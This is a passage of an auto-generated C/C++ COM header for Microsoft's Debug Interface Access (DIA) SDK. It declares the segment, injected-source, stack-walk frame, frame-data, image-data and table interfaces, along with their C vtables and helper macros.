MIDL_INTERFACE("0775B784-C75B-4449-848B-B7BD3159545B") IDiaSegment : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frame( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_read( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_write( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_execute( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSegmentVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSegment * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSegment * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSegment * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frame )( IDiaSegment * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSegment * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSegment * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_read )( IDiaSegment * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_write )( IDiaSegment * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_execute )( IDiaSegment * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSegment * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSegment * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSegment * This, /* [retval][out] */ ULONGLONG *pRetVal); END_INTERFACE } IDiaSegmentVtbl; interface IDiaSegment { CONST_VTBL struct IDiaSegmentVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSegment_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSegment_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSegment_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSegment_get_frame(This,pRetVal) \ ( (This)->lpVtbl -> get_frame(This,pRetVal) ) #define IDiaSegment_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSegment_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSegment_get_read(This,pRetVal) \ ( (This)->lpVtbl -> get_read(This,pRetVal) ) #define IDiaSegment_get_write(This,pRetVal) \ ( (This)->lpVtbl -> get_write(This,pRetVal) ) #define IDiaSegment_get_execute(This,pRetVal) \ ( (This)->lpVtbl -> get_execute(This,pRetVal) ) #define IDiaSegment_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSegment_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSegment_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaSegment_INTERFACE_DEFINED__ */ #ifndef __IDiaInjectedSource_INTERFACE_DEFINED__ #define __IDiaInjectedSource_INTERFACE_DEFINED__ /* interface IDiaInjectedSource */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaInjectedSource; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("AE605CDC-8105-4a23-B710-3259F1E26112") IDiaInjectedSource : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_crc( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_filename( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectFilename( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualFilename( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceCompression( /* [retval][out] */ DWORD *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_source( /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; }; #else /* C style interface */ typedef struct IDiaInjectedSourceVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaInjectedSource * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaInjectedSource * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaInjectedSource * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_crc )( IDiaInjectedSource * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaInjectedSource * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_filename )( IDiaInjectedSource * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFilename )( IDiaInjectedSource * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualFilename )( IDiaInjectedSource * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceCompression )( IDiaInjectedSource * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_source )( IDiaInjectedSource * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); END_INTERFACE } IDiaInjectedSourceVtbl; interface IDiaInjectedSource { CONST_VTBL struct IDiaInjectedSourceVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaInjectedSource_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaInjectedSource_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaInjectedSource_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaInjectedSource_get_crc(This,pRetVal) \ ( (This)->lpVtbl -> get_crc(This,pRetVal) ) #define IDiaInjectedSource_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaInjectedSource_get_filename(This,pRetVal) \ ( (This)->lpVtbl -> get_filename(This,pRetVal) ) #define IDiaInjectedSource_get_objectFilename(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFilename(This,pRetVal) ) #define IDiaInjectedSource_get_virtualFilename(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualFilename(This,pRetVal) ) #define IDiaInjectedSource_get_sourceCompression(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceCompression(This,pRetVal) ) #define IDiaInjectedSource_get_source(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_source(This,cbData,pcbData,pbData) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaInjectedSource_INTERFACE_DEFINED__ */ /* interface __MIDL_itf_dia2_0000_0035 */ /* [local] */ enum __MIDL___MIDL_itf_dia2_0000_0035_0001 { E_DIA_INPROLOG = ( HRESULT )(( ( ( ( unsigned long )1 << 31 ) | ( ( unsigned long )( LONG )0x6d << 16 ) ) | ( unsigned long )100 ) ), E_DIA_SYNTAX = ( E_DIA_INPROLOG + 1 ) , E_DIA_FRAME_ACCESS = ( E_DIA_SYNTAX + 1 ) , E_DIA_VALUE = ( E_DIA_FRAME_ACCESS + 1 ) } ; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0035_v0_0_c_ifspec; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0035_v0_0_s_ifspec; #ifndef __IDiaStackWalkFrame_INTERFACE_DEFINED__ #define __IDiaStackWalkFrame_INTERFACE_DEFINED__ /* interface IDiaStackWalkFrame */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaStackWalkFrame; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("07C590C1-438D-4F47-BDCD-4397BC81AD75") IDiaStackWalkFrame : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_registerValue( /* [in] */ DWORD index, /* [in] */ ULONGLONG NewVal) = 0; virtual HRESULT STDMETHODCALLTYPE readMemory( /* [in] */ enum MemoryTypeEnum type, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE searchForReturnAddress( /* [in] */ IDiaFrameData *frame, /* [out] */ ULONGLONG *returnAddress) = 0; virtual HRESULT STDMETHODCALLTYPE searchForReturnAddressStart( /* [in] */ IDiaFrameData *frame, /* [in] */ ULONGLONG startAddress, /* [out] */ ULONGLONG *returnAddress) = 0; }; #else /* C style interface */ typedef struct IDiaStackWalkFrameVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaStackWalkFrame * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaStackWalkFrame * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaStackWalkFrame * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( IDiaStackWalkFrame * This, /* [in] */ DWORD index, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( IDiaStackWalkFrame * This, /* [in] */ DWORD index, /* [in] */ ULONGLONG NewVal); HRESULT ( STDMETHODCALLTYPE *readMemory )( IDiaStackWalkFrame * This, /* [in] */ enum MemoryTypeEnum type, /* [in] */ ULONGLONG va, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( IDiaStackWalkFrame * This, /* [in] */ IDiaFrameData *frame, /* [out] */ ULONGLONG *returnAddress); HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( IDiaStackWalkFrame * This, /* [in] */ IDiaFrameData *frame, /* [in] */ ULONGLONG startAddress, /* [out] */ ULONGLONG *returnAddress); END_INTERFACE } IDiaStackWalkFrameVtbl; interface IDiaStackWalkFrame { CONST_VTBL struct IDiaStackWalkFrameVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaStackWalkFrame_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaStackWalkFrame_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaStackWalkFrame_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaStackWalkFrame_get_registerValue(This,index,pRetVal) \ ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) #define IDiaStackWalkFrame_put_registerValue(This,index,NewVal) \ ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) #define IDiaStackWalkFrame_readMemory(This,type,va,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) #define IDiaStackWalkFrame_searchForReturnAddress(This,frame,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) #define IDiaStackWalkFrame_searchForReturnAddressStart(This,frame,startAddress,returnAddress) \ ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaStackWalkFrame_INTERFACE_DEFINED__ */ #ifndef __IDiaFrameData_INTERFACE_DEFINED__ #define __IDiaFrameData_INTERFACE_DEFINED__ /* interface IDiaFrameData */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaFrameData; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("A39184B7-6A36-42de-8EEC-7DF9F3F59F33") IDiaFrameData : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthBlock( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthLocals( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthParams( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_maxStack( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthProlog( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthSavedRegisters( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_program( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_systemExceptionHandling( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_cplusplusExceptionHandling( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionStart( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_allocatesBasePointer( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionParent( /* [retval][out] */ IDiaFrameData **pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE execute( IDiaStackWalkFrame *frame) = 0; }; #else /* C style interface */ typedef struct IDiaFrameDataVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaFrameData * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaFrameData * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaFrameData * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaFrameData * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthBlock )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthLocals )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthParams )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_maxStack )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthProlog )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthSavedRegisters )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_program )( IDiaFrameData * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_systemExceptionHandling )( IDiaFrameData * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_cplusplusExceptionHandling )( IDiaFrameData * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionStart )( IDiaFrameData * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_allocatesBasePointer )( IDiaFrameData * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaFrameData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionParent )( IDiaFrameData * This, /* [retval][out] */ IDiaFrameData **pRetVal); HRESULT ( STDMETHODCALLTYPE *execute )( IDiaFrameData * This, IDiaStackWalkFrame *frame); END_INTERFACE } IDiaFrameDataVtbl; interface IDiaFrameData { CONST_VTBL struct IDiaFrameDataVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaFrameData_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaFrameData_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaFrameData_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaFrameData_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaFrameData_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaFrameData_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaFrameData_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaFrameData_get_lengthBlock(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthBlock(This,pRetVal) ) #define IDiaFrameData_get_lengthLocals(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthLocals(This,pRetVal) ) #define IDiaFrameData_get_lengthParams(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthParams(This,pRetVal) ) #define IDiaFrameData_get_maxStack(This,pRetVal) \ ( (This)->lpVtbl -> get_maxStack(This,pRetVal) ) #define IDiaFrameData_get_lengthProlog(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthProlog(This,pRetVal) ) #define IDiaFrameData_get_lengthSavedRegisters(This,pRetVal) \ ( (This)->lpVtbl -> get_lengthSavedRegisters(This,pRetVal) ) #define IDiaFrameData_get_program(This,pRetVal) \ ( (This)->lpVtbl -> get_program(This,pRetVal) ) #define IDiaFrameData_get_systemExceptionHandling(This,pRetVal) \ ( (This)->lpVtbl -> get_systemExceptionHandling(This,pRetVal) ) #define IDiaFrameData_get_cplusplusExceptionHandling(This,pRetVal) \ ( (This)->lpVtbl -> get_cplusplusExceptionHandling(This,pRetVal) ) #define IDiaFrameData_get_functionStart(This,pRetVal) \ ( (This)->lpVtbl -> get_functionStart(This,pRetVal) ) #define IDiaFrameData_get_allocatesBasePointer(This,pRetVal) \ ( (This)->lpVtbl -> get_allocatesBasePointer(This,pRetVal) ) #define IDiaFrameData_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaFrameData_get_functionParent(This,pRetVal) \ ( (This)->lpVtbl -> get_functionParent(This,pRetVal) ) #define IDiaFrameData_execute(This,frame) \ ( (This)->lpVtbl -> execute(This,frame) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaFrameData_INTERFACE_DEFINED__ */ #ifndef __IDiaImageData_INTERFACE_DEFINED__ #define __IDiaImageData_INTERFACE_DEFINED__ /* interface IDiaImageData */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaImageData; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("C8E40ED2-A1D9-4221-8692-3CE661184B44") IDiaImageData : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_imageBase( /* [retval][out] */ ULONGLONG *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaImageDataVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaImageData * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaImageData * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaImageData * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaImageData * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaImageData * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_imageBase )( IDiaImageData * This, /* [retval][out] */ ULONGLONG *pRetVal); END_INTERFACE } IDiaImageDataVtbl; interface IDiaImageData { CONST_VTBL struct IDiaImageDataVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaImageData_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaImageData_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaImageData_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaImageData_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaImageData_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaImageData_get_imageBase(This,pRetVal) \ ( (This)->lpVtbl -> get_imageBase(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaImageData_INTERFACE_DEFINED__ */ #ifndef __IDiaTable_INTERFACE_DEFINED__ #define __IDiaTable_INTERFACE_DEFINED__ /* interface IDiaTable */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaTable; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("4A59FB77-ABAC-469b-A30B-9ECC85BFEF14") IDiaTable : public IEnumUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ DWORD index, /* [retval][out] */ IUnknown **element) = 0; }; #else /* C style interface */ typedef struct IDiaTableVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaTable * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaTable * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaTable * This); /* [local] */ HRESULT ( STDMETHODCALLTYPE *Next )( IDiaTable * This, /* [annotation][in] */ _In_ ULONG celt, /* [annotation][out] */ _Out_writes_to_(celt,*pceltFetched) IUnknown **rgelt, /* [annotation][out] */ _Out_opt_ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaTable * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaTable * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaTable * This, /* [out] */ IEnumUnknown **ppenum); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaTable * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaTable * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaTable * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaTable * This, /* [in] */ DWORD index, /* [retval][out] */ IUnknown **element); END_INTERFACE } IDiaTableVtbl; interface IDiaTable { CONST_VTBL struct IDiaTableVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaTable_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaTable_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaTable_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaTable_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaTable_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaTable_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaTable_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #define IDiaTable_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaTable_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaTable_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaTable_Item(This,index,element) \ ( (This)->lpVtbl -> Item(This,index,element) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaTable_INTERFACE_DEFINED__ */ #ifndef __IDiaEnumTables_INTERFACE_DEFINED__ #define __IDiaEnumTables_INTERFACE_DEFINED__ /* interface IDiaEnumTables */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaEnumTables; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("C65C2B0A-1150-4d7a-AFCC-E05BF3DEE81E") IDiaEnumTables : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( /* [retval][out] */ IUnknown **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( /* [retval][out] */ LONG *pRetVal) = 0; virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( /* [in] */ VARIANT index, /* [retval][out] */ IDiaTable **table) = 0; virtual HRESULT 